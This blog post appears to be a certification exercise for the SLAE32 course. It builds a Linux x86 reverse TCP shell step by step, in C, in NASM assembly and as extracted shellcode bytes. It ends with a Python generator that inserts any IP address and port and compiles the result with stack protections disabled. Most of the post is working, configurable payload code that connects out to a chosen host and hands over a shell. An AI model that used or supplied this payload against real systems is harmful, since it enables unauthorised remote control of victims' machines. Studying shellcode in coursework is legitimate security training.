Posts SLAE32 - Assignment#2 [Reverse TCP Shell]
Post
Cancel

SLAE32 - Assignment#2 [Reverse TCP Shell]

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#2 Github

Assignement #2

  • Create a Shell_Reverse_TCP shellcode
    • Reverse connects to configured IP and Port
    • Execs shell on successful connection
  • IP and Port should be easily configurable

What is a Reverse Shell?

Oppose to a Bind Shell, a Reverse Shell connects back to the attacker’s computer upon a payload executed on the victim’s system. This type of shell is more useful when the target organization has a strong Firewalls for inbound connection. The Reverse Shell can take the advantage of common outbound ports such as port 80, 443, 53 and etc.

image

Socket Programming

Similar to the Bind TCP Shell exercise, let’s create a Reverseh TCP Shell in a higher programming language. We will use C again:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <unistd.h>

int main()
{
    int sockfd;
	int port = 9001;

	// Address struct
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port); 
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

   	// 1) Socket Syscall (sys_socket 1)
	sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // 2) Connect Syscall
    connect(sockfd, (struct sockaddr *) &addr, sizeof(addr));
    
    // 3) Dup2 Syscall
    dup2(sockfd, 0);    //stdin
    dup2(sockfd, 1);    //stdout
    dup2(sockfd, 2);    //stderr

    // 4) Execve Syscall
    execve("/bin/sh", NULL, NULL);
    return 0;
}

Let’s compile this:

1
gcc reverse-tcp-shell.c -o reverse-tcp-shell -w

The compiled reverse shell binary can successfully connect back to 127.0.0.1:9001 as expected.

image

Shellcode

For the Reverse TCP Shell, we need to following syscalls:

1) Socket: Initializing the Socket connection 2) Connect: Creating the Connect call to the given address 3) Dup2: Manages stdin, stdout and stderr for the file descriptor. This is necessary for input and output redirection. 4) Execve: Execute a command (/bin/sh to spawn a shell)

Syscall + Function Calls

First, we need to collect arguemnts for socketcall() as well as other syscalls.

NOTE: socketcall() is a common kernel entry point for the socket system calls.

By querying /usr/include/i386-linux-gnu/asm/unistd_32.h, we can collect the following args for the syscalls:

1
2
3
4
#define __NR_socketcall	102 --> Hex: 0x66
#define __NR_connect 362    --> Hex: 0x16a
#define __NR_dup2	63  --> Hex: 0x3f
#define __NR_execve	11  --> Hex: 0xb

Additionally, by looking at /usr/include/linux/net.h, we can also obtain args for the function calls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~/Documents/SLAE32/Exam/Assignement1# cat /usr/include/linux/net.h | grep SYS
#define SYS_SOCKET	1		/* sys_socket(2)	*/
#define SYS_BIND	2		/* sys_bind(2)		*/
#define SYS_CONNECT	3		/* sys_connect(2)	*/
#define SYS_LISTEN	4		/* sys_listen(2)	*/
#define SYS_ACCEPT	5		/* sys_accept(2)	*/
#define SYS_GETSOCKNAME	6		/* sys_getsockname(2)	*/
#define SYS_GETPEERNAME	7		/* sys_getpeername(2)	*/
#define SYS_SOCKETPAIR	8		/* sys_socketpair(2)	*/
#define SYS_SEND	9		/* sys_send(2)		*/
#define SYS_RECV	10		/* sys_recv(2)		*/
#define SYS_SENDTO	11		/* sys_sendto(2)	*/
#define SYS_RECVFROM	12		/* sys_recvfrom(2)	*/
#define SYS_SHUTDOWN	13		/* sys_shutdown(2)	*/
#define SYS_SETSOCKOPT	14		/* sys_setsockopt(2)	*/
#define SYS_GETSOCKOPT	15		/* sys_getsockopt(2)	*/
#define SYS_SENDMSG	16		/* sys_sendmsg(2)	*/
#define SYS_RECVMSG	17		/* sys_recvmsg(2)	*/
#define SYS_ACCEPT4	18		/* sys_accept4(2)	*/
#define SYS_RECVMMSG	19		/* sys_recvmmsg(2)	*/
#define SYS_SENDMMSG	20		/* sys_sendmmsg(2)	*/

Initialization

First, let’s zero out some of the registers we are going to use:

1
2
3
4
5
6
7
8
9
10
global _start

section		.text

_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

1) Socket()

Let’s create the socket() shellcode:

1
2
3
4
5
6
7
8
9
10
; 1) Socket Creation

mov al, 0x66		; #define __NR_socketcall 102	--> Hex: 0x66
mov bl, 0x1		; #define SYS_SOCKET 1
push edx		; int protocol = 0
push ebx		; int SOCK_STREAM = 1
push 0x2		; int AF_INET = 2
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_SOCKET
mov edi, eax		; Save the sockfd to EDI

Address struct

Let’s create the address struct shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
push edx		; NULL Padding
push edx		; NULL Padding

xor eax, eax        ; Zero out EAX
; The return address 127.0.0.1 contains null-bytes which would break our shellcode. 
; We can circumvent this by subtracting 1.1.1.1 from 128.1.1.2.

mov eax, 0x02010180     ; 2.1.1.128 (*Little-Endian)
sub eax, 0x01010101     ; Subtract 1.1.1.1 
push eax        ; sin_addr = 127.0.0.1
push word 0xb315		; port = 5555 (*Little-Endian)
push word 0x2 		; int AF_INET = 2
mov esi, esp	; Move stack pointer to ESI

2) Connect()

Let’s create the address connect() shellcode:

1
2
3
4
5
6
7
8
9
10
11
; 2) Connect

xor eax, eax        ; Zero out EAX
xor ebx, ebx        ; Zero out EBX
mov al, 0x66		; socketcall = 102
mov bl, 0x3		; #define SYS_CONNECT	3
push 0x10		; sizeof(addr) = 10
push esi		; ESI = Server Address stuct
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_BIND

3) Dup2()

Let’s create the dup2() shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
; 3) Dup2 - Input and Output Redriection

xor ecx, ecx		; Zero out
mov cl, 0x3		; Set the counter 

loop:
xor eax, eax		; Zero out
mov al, 0x3f		; #define __NR_dup2	63  --> Hex: 0x3f
mov ebx, edi		; New sockfd
dec cl		; Decrementing the counter by 1
int 0x80		

jnz loop		; Jump back to the beginning of the loop until CL is set to zero flag

Execve()

Let’s create the execve() shellcode:

1
2
3
4
5
6
7
8
9
10
11
; 4) Execve

push edx		; NULL
push 0x68732f6e		; "hs/n"  <-- //bin/sh
push 0x69622f2f		; "ib//"
mov ebx, esp		; Move stack pointer to EBX
push edx		; NULL terminator
push ebx
mov ecx, esp		; Move stack pointer to ECX
mov al, 0xb		; #define __NR_execve	11  --> Hex: 0xb
int 0x80		; Execute SYS_EXECVE

Final Shellcode (reverse-tcp-shell.nasm)

Let’s put everything togeter and test the shellcode.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
global _start

section		.text

_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; 1) Socket Creation
mov al, 0x66		; #define __NR_socketcall 102	--> Hex: 0x66
mov bl, 0x1		; #define SYS_SOCKET 1
push edx		; int protocol = 0
push ebx		; int SOCK_STREAM = 1
push 0x2		; int AF_INET = 2
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_SOCKET
mov edi, eax		; Save the sockfd to EDI

; Address struct
push edx		; NULL Padding
push edx		; NULL Padding
xor eax, eax        ; Zero out EAX
; The return address 127.0.0.1 contains null-bytes which would break our shellcode. 
; We can circumvent this by subtracting 1.1.1.1 from 128.1.1.2.
mov eax, 0x02010180     ; 2.1.1.128 (*Little-Endian)
sub eax, 0x01010101     ; Subtract 1.1.1.1 
push eax        ; sin_addr = 127.0.0.1
push word 0xb315		; port = 5555 (*Little-Endian)
push word 0x2 		; int AF_INET = 2
mov esi, esp	; Move stack pointer to ESI

; 2) Connect
xor eax, eax        ; Zero out EAX
xor ebx, ebx        ; Zero out EBX
mov al, 0x66		; socketcall = 102
mov bl, 0x3		; #define SYS_CONNECT	3
push 0x10		; sizeof(addr) = 10
push esi		; ESI = Server Address stuct
push edi		; EDI = sockfd
mov ecx, esp		; Move stack pointer to ECX
int 0x80		; Execute SYS_BIND

; 3) Dup2 - Input and Output Redriection
xor ecx, ecx		; Zero out
mov cl, 0x3		; Set the counter 

loop:
xor eax, eax		; Zero out
mov al, 0x3f		; #define __NR_dup2	63  --> Hex: 0x3f
mov ebx, edi		; New sockfd
dec cl		; Decrementing the counter by 1
int 0x80		

jnz loop		; Jump back to the beginning of the loop until CL is set to zero flag

; 4) Execve
push edx		; NULL
push 0x68732f6e		; "hs/n"  <-- //bin/sh
push 0x69622f2f		; "ib//"
mov ebx, esp		; Move stack pointer to EBX
push edx		; NULL terminator
push ebx
mov ecx, esp		; Move stack pointer to ECX
mov al, 0xb		; #define __NR_execve	11  --> Hex: 0xb
int 0x80		; Execute SYS_EXECVE

Compile

I created a simple compiler compilerX86.py. Using this we can:

  • Compile reverse-tcp-shell.nasm to a binary
  • Extract shellcode from the binary to create shellcode.c
  • Compile shellcode.c to a binary using gcc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Documents/SLAE32/Exam/Assignement2# python compilerX86.py -f reverse-tcp-shell
 
  ________  ________  _____ ______   ________  ___  ___       _______   ________     ___    ___ ________  ________         
 |\   ____\|\   __  \|\   _ \  _   \|\   __  \|\  \|\  \     |\  ___ \ |\   __  \   |\  \  /  /|\   __  \|\   ____\        
 \ \  \___|\ \  \|\  \ \  \\\__\ \  \ \  \|\  \ \  \ \  \    \ \   __/|\ \  \|\  \  \ \  \/  / | \  \|\  \ \  \___|      
  \ \  \    \ \  \\\  \ \  \\|__| \  \ \   ____\ \  \ \  \    \ \  \_|/_\ \   _  _\  \ \    / / \ \   __  \ \  \____   
   \ \  \____\ \  \\\  \ \  \    \ \  \ \  \___|\ \  \ \  \____\ \  \_|\ \ \  \\  \|  /     \/   \ \  \|\  \ \  ___  \ 
    \ \_______\ \_______\ \__\    \ \__\ \__\    \ \__\ \_______\ \_______\ \__\\ _\ /  /\   \    \ \_______\ \_______\ 
     \|_______|\|_______|\|__|     \|__|\|__|     \|__|\|_______|\|_______|\|__|\|__/__/ /\ __\    \|_______|\|_______|    
                                                                                    |__|/ \|__|     [bigb0ss] v1.0         

[+] Assemble: reverse-tcp-shell.nasm
[+] Linking: reverse-tcp-shell.o
[+] Shellcode: "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x52\x52\x31\xc0\xb8\x80\x01\x01\x02\x2d\x01\x01\x01\x01\x50\x66\x68\x15\xb3\x66\x6a\x02\x89\xe6\x31\xc0\x31\xdb\xb0\x66\xb3\x03\x6a\x10\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\x89\xfb\xfe\xc9\xcd\x80\x75\xf4\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
[+] Creating File: shellcode.c
[+] Compiling Executable: shellcode
[+] Enjoy!

image

Final Touch

Lastly, I created the following python script to change the IP address and the port number as the user input and automatically create and compile the C binary.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# Author: bigb0ss
# Student ID: SLAE-1542

import sys
import argparse
import subprocess
import string
import socket

""" Arguments """
parser = argparse.ArgumentParser(description = '[+] Reverse TCP Shell Generator')
parser.add_argument('-p', '--port', help='\tPort')
parser.add_argument('-ip', '--ipAddr', help='\tIP Address')
args = parser.parse_args()


def error():
    parser.print_help()
    exit(1)

def exploit(ip, port):
    
    # Reverse TCP Shell 
    shellcode1 = "\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2"
    shellcode1+= "\\xb0\\x66\\xb3\\x01\\x52\\x53\\x6a\\x02"
    shellcode1+= "\\x89\\xe1\\xcd\\x80\\x89\\xc7\\x52\\x52"
    shellcode1+= "\\x31\\xc0\\xb8"

    # "\x80\x01\x01\x02" = IP 127.0.0.1 + 1.1.1.1

    print "[INFO] Reverse Shell IP: " + ip
    ip = ip.split(".")
    ip[:]=[int(i)+1 for i in ip]    # Adding 1 to each element in the ip array
   
    # First Octet of the IP Address
    octet1 = hex(ip[0])
    octet1 = octet1[2:]
    if len(octet1) == 2:
        octet1 = "\\x" + octet1
    else:
        octet1 = "\\x" + "%02x" % int(octet1)
    
    # Second Octet of the IP Address
    octet2 = hex(ip[1])
    octet2 = octet2[2:]
    if len(octet2) == 2:
        octet2 = "\\x" + octet2
    else:
        octet2 = "\\x" + "%02x" % int(octet2)

    # Thrid Octet of the IP Address
    octet3 = hex(ip[2])
    octet3 = octet3[2:]
    if len(octet3) == 2:
        octet3 = "\\x" + octet3
    else:
        octet3 = "\\x" + "%02x" % int(octet3)

    # Forth Octet of the IP Address
    octet4 = hex(ip[3])
    octet4 = octet4[2:]
    if len(octet4) == 2:
        octet4 = "\\x" + octet4
    else:
        octet4 = "\\x" + "%02x" % int(octet4)

    ipHex = octet1 + octet2 + octet3 + octet4

    shellcode2 = "\\x2d\\x01\\x01\\x01\\x01\\x50\\x66\\x68"  # Subtracting 1.1.1.1 = Potential Nullbyte avoidance mechanism

    # "\x15\xb3" = port 5555

    print "[INFO] Reverse Shell Port: " + port

    port = hex(socket.htons(int(port)))
    a = port[2:4]
    b = port[4:]
    if b == '':
        b = '0'
    port = '\\x{0}\\x{1}'.format(b, a)

    shellcode3 = "\\x66\\x6a\\x02\\x89\\xe6\\x31\\xc0\\x31"
    shellcode3+= "\\xdb\\xb0\\x66\\xb3\\x03\\x6a\\x10\\x56"
    shellcode3+= "\\x57\\x89\\xe1\\xcd\\x80\\x31\\xc9\\xb1"
    shellcode3+= "\\x03\\x31\\xc0\\xb0\\x3f\\x89\\xfb\\xfe"
    shellcode3+= "\\xc9\\xcd\\x80\\x75\\xf4\\x52\\x68\\x6e"
    shellcode3+= "\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69"
    shellcode3+= "\\x89\\xe3\\x52\\x53\\x89\\xe1\\xb0\\x0b"
    shellcode3+= "\\xcd\\x80"

    payload = shellcode1 + ipHex + shellcode2 + port + shellcode3

    # Adding shellcode to shellcode.c
    outShellcode = ''
    outShellcode+= '#include<stdio.h>\n'
    outShellcode+= '#include<string.h>\n'
    outShellcode+= '\n'
    outShellcode+= 'unsigned char code[] = \ \n'
    outShellcode+= '"{0}";'.format(payload)
    outShellcode+= '\n'
    outShellcode+= 'main()\n'
    outShellcode+= '{\n'
    outShellcode+= 'printf("Shellcode Length:  %d", strlen(code));\n'
    outShellcode+= '\tint (*ret)() = (int(*)())code;\n'
    outShellcode+= '\tret();\n'
    outShellcode+= '}\n'
    #print outShellcode

    # Creating shellcode.c
    filename = "exploit.c"
    outfile = open(filename, 'w')
    outfile.write(outShellcode)
    outfile.close()
    

    print "[INFO] Creating File: exploit.c"

    # Compiling shellcode.c
    subprocess.call(["gcc", "-fno-stack-protector", "-z", "execstack", filename, "-o", "exploit", "-w"])
    print "[INFO] Compiled Executable: exploit"

if __name__ == "__main__":
    inputIP = args.ipAddr if args.ipAddr != None else error()
    inputPort = args.port if args.port != None else error()
    

    exploit(inputIP, inputPort)

image

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1542

SLAE32 Assignemt#2 Github

This post is licensed under CC BY 4.0 by the author.